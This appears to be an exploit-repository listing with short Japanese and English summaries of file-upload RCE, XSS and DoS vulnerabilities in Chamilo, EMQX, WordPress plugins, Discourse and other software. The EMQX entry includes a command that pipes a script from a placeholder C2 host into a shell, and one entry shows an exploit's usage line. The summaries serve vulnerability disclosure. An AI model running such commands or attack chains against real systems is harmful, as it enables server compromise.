CVE-2021-46398_Chamilo-LMS-RCE

CVE-2021-46398 Chamilo-LMS 1.11.14 RCE Chamilo LMS v1.11.14には、細工されたプラグインを介して攻撃者が任意のコードを実行できるようにするゼロクリックコードインジェクションの脆弱性が存在することが発見されました。この脆弱性は、攻撃者のプロフィールページとのユーザー操作を通じてトリガーされます。 ワンクリック手法: 学生アカウントを持つ攻撃者は、悪意のあるWebページまたは悪意のあるSVG画像ファイルを作成し、そのファイルを学生プロフィールページの「My...

CVE-2021-45010-TinyFileManager-Exploit

CVE-2021-45010 CVE-2021-45010: Tiny File Manager Project の Tiny File Manager = 2.4.3 における tinyfilemanager.php のファイルアップロード機能のパストラバーサル（ディレクトリトラバーサル）の脆弱性により、有効なユーザーアカウントを持つリモートの攻撃者が悪意のある PHP ファイルをウェブルートにアップロードし、対象サーバー上でコード実行を達成できる可能性があります。...

CVE-2025-52136

CVE-2025-52136 root@kitploit: https://github.com/ricardojoserf/emqx-RCE 元の利用方法は、EMQXプラグインをアップロードし、プラグインテンプレートのコードにErlangのosモジュールを追加してシステムコマンドを実行しRCEを行うものです。 出網環境（外部接続可能な環境）では、環境にデフォルトでcurlが存在するため、直接curl http://xx.xx.xx.xx/1.sh | shでC2に接続できます。...

CVE-2026-3844

CVE-2026-3844 — Breeze Cache = 2.4.4 認証なし任意ファイルアップロードによるRCE 概要...

smart-sketcher-upload

smART Sketcher 2.0 - Bluetooth認証バイパス CVE-2026-0842 | BLEインターフェースにおける認証欠如 概要 smART Sketcher 2.0は、子供が画像をなぞって描くことができるBluetooth対応の玩具プロジェクターです。このデバイスはBluetooth接続に認証がなく、範囲内の誰でもペアリングや通知なしに接続して画像を送信できます。 デモ 問題点 デバイスはBluetooth経由で「smART Sketcher 2.0」としてブロードキャストされる 接続にペアリングは不要 コマンドや画像の送信に認証は不要 誰かが接続しても通知はない...

CVE-2026-36340

CVE-2026-36340 Krayin CRM v2.1.5におけるリモートコード実行（RCE）の脆弱性 Krayin CRM v2.1.5におけるリモートコード実行（RCE）の脆弱性 CVE: CVE-2026-36340 深刻度: 重大（Critical） 影響を受ける製品: Krayin CRM v2.1.5 脆弱性の種類: リモートコード実行（RCE） 認証の必要性: あり 概要 Krayin CRM v2.1.5 には、重大なリモートコード実行（RCE）の脆弱性が存在します。...

CVE-2026-91121

The Discourse open-source discussion platform is vulnerable to trusted-HTML injection in versions prior to 2026.1.8, 2026.6.3, 2026.7.2, and 2026.8.0 . The root cause is that attacker-controlled upload filenames used in chat message excerpts are rendered as unescaped HTML . An attacker capable of...

CVE-2026-91121 Discourse: Chat upload filenames rendered as raw HTML in excerpts

Discourse is an open-source discussion platform. Prior to 2026.1.8, 2026.6.3, 2026.7.2, and 2026.8.0, attacker-controlled upload filenames used in chat message excerpts were rendered as unescaped HTML. A user able to upload a file and send chat content could place markup in a filename that was th...

EUVD-2026-86306

Discourse is an open-source discussion platform. Prior to 2026.1.8, 2026.6.3, 2026.7.2, and 2026.8.0, attacker-controlled upload filenames used in chat message excerpts were rendered as unescaped HTML. A user able to upload a file and send chat content could place markup in a filename that was th...

CVE-2026-91121 Discourse: Chat upload filenames rendered as raw HTML in excerpts

Discourse is an open-source discussion platform. Prior to 2026.1.8, 2026.6.3, 2026.7.2, and 2026.8.0, attacker-controlled upload filenames used in chat message excerpts were rendered as unescaped HTML. A user able to upload a file and send chat content could place markup in a filename that was th...

CVE-2025-29009

CVE-2025-29009 WooCommerce用WordPressプラグイン「Medical Prescription Attachment Plugin」= 1.2.3 は、高優先度の任意ファイルアップロードの脆弱性の影響を受けます CVE-2025-29009 Webkul Medical Prescription Attachment — 無制限ファイルアップロード → Webシェル root@kitploit: ,-. . , ,--. ,-. ,-. ,-. ;--' ,-. ,-. ,-. ,-. ,-. / | / | / /\ | / /\ / /\ | | / |...

CVE-2024-57487-and-CVE-2024-57488

オンラインカー・レンタルシステムの脆弱性 このリポジトリには、Code-Projects Online Car Rental System プロジェクト バージョン 1.0 で特定された脆弱性の詳細が含まれています。これらの脆弱性には CVE が割り当てられており、問題の理解と緩和に役立つ包括的なライトアップが含まれています。 脆弱性 1. ファイルアップロードによるリモートコード実行（認証済み） CVE-ID: CVE-2024-57487 説明: この脆弱性により、認証済みの攻撃者が悪意のある PHP ファイルをアップロードし、サーバー上でリモートコマンド実行を可能にします。...

CVE-2023-46474

PMB =7.5.3 - 無制限ファイルアップロードによるリモートコード実行 CVE-2023-46474 CVSS v3.1 Vector| CVSS v3.1 Score ---|--- AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H| 9.1 Devensys Cybersecurity の Marcus Reynaud による侵入テストの一環として発見されました。 説明 pmb/admin/convert/startimport.php スクリプトは、Unrestricted File Upload...

-CVE-2026-1657

CVE-2026-1657 CVE-2026-1657 エクスプロイト: 'epuploadfilemedia' AJAX エンドポイントを介した未認証の画像アップロード 使用方法 python3 ./CVE-2026-1657.py https://site.com/ labrat.jpeg...

CVE-2025-60880

CVE-2025-60880: Bagisto 管理パネルにおける格納型クロスサイトスクリプティング（XSS） Bagisto 2.3.6 の管理パネルの製品作成パスに、認証済みの格納型 XSS 脆弱性が存在します。攻撃者は、悪意のある JavaScript コードを含む細工された SVG ファイルをアップロードできます。この脆弱性は、認証済みの管理者ユーザーによって悪用され、ブラウザ上で任意の JavaScript を実行させ、セッションハイジャック、データ窃取、または不正な操作につながる可能性があります。 脆弱性の概要 CVE ID : CVE-2025-60880 タイプ :...

multiparty-CVE-2026-8161

CVE-2026-8161 CVE-2026-8161（Multiparty）の概念実証 説明 [email protected] 以前のバージョンは、捕捉されない例外によるサービス拒否（DoS）に対して脆弱です。 パーサーはアップロードされたフィールドとファイルをプレーンな JavaScript オブジェクトに格納し、パーサーが所有するキーと継承されたオブジェクトプロパティを安全に区別しません。巧妙に細工された multipart フィールド名により、パーサーが予期しないプロトタイプチェーン値を読み取り、アップロード処理中にクラッシュする可能性があります。 脆弱なバージョンの...

CVE-2024-11613-wp-file-upload

CVE-2024-11613-wp-file-upload Chirag Artani（https://3rag.com）によるCVE-2024-11613（WordPress File Upload）のエクスプロイト 情報はこちら - WordPress用WordPress File...

CVE-2026-37637

CVE-2026-37637 CVE-2026-37637 の概念実証 - Alexantr filemanager v1.0 における filemanager.php の無制限ファイルアップロードによるリモートコード実行 概要 CVE-2026-37637 は、Alexantr filemanager v1.0 に影響を与えるリモートコード実行の脆弱性です。 この脆弱性は filemanager.php コンポーネントに存在し、アップロードされたファイルの検証が不十分であることが原因です。リモートの攻撃者は、悪意のある PHP ファイルを Web...

POC-CVE-2026-1357

CVE-2026-1357 WPvivid Backup & Migration RCE PoC 発見者: Lucas Montes NiRoX 脆弱性: 認証不要の任意ファイルアップロードによるリモートコード実行（RCE） CVE ID: CVE-2026-1357 CVSS: Critical9.8 ステータス: バージョン 0.9.124 でパッチ適用済み 概要 このリポジトリには、WPvivid Backup & Migration WordPressプラグイン（バージョン = 0.9.123）における重大な脆弱性の分析と概念実証（PoC）が含まれています。...

WordPress-Flex-QR-Code-Generator---CVE-2025-10041

CVE-2025-10041：Flex QR Code Generator プラグイン任意ファイルアップロード脆弱性分析 一、脆弱性概要 プラグイン名 ：Flex QR Code Generator 影響バージョン ：≤ 1.2.5（全バージョン） 脆弱性タイプ ：任意ファイルアップロード → リモートコード実行（RCE） 悪用条件 ：ログイン不要、未認証アクセス 根本原因 ：ファイルアップロード機能が拡張子や MIME タイプを検証しておらず、インターフェースが未認証ユーザーから呼び出し可能。 二、脆弱性再現 No1 情報漏洩＋更新フックによるRCE実現 ： 1. 攻撃チェーン概要...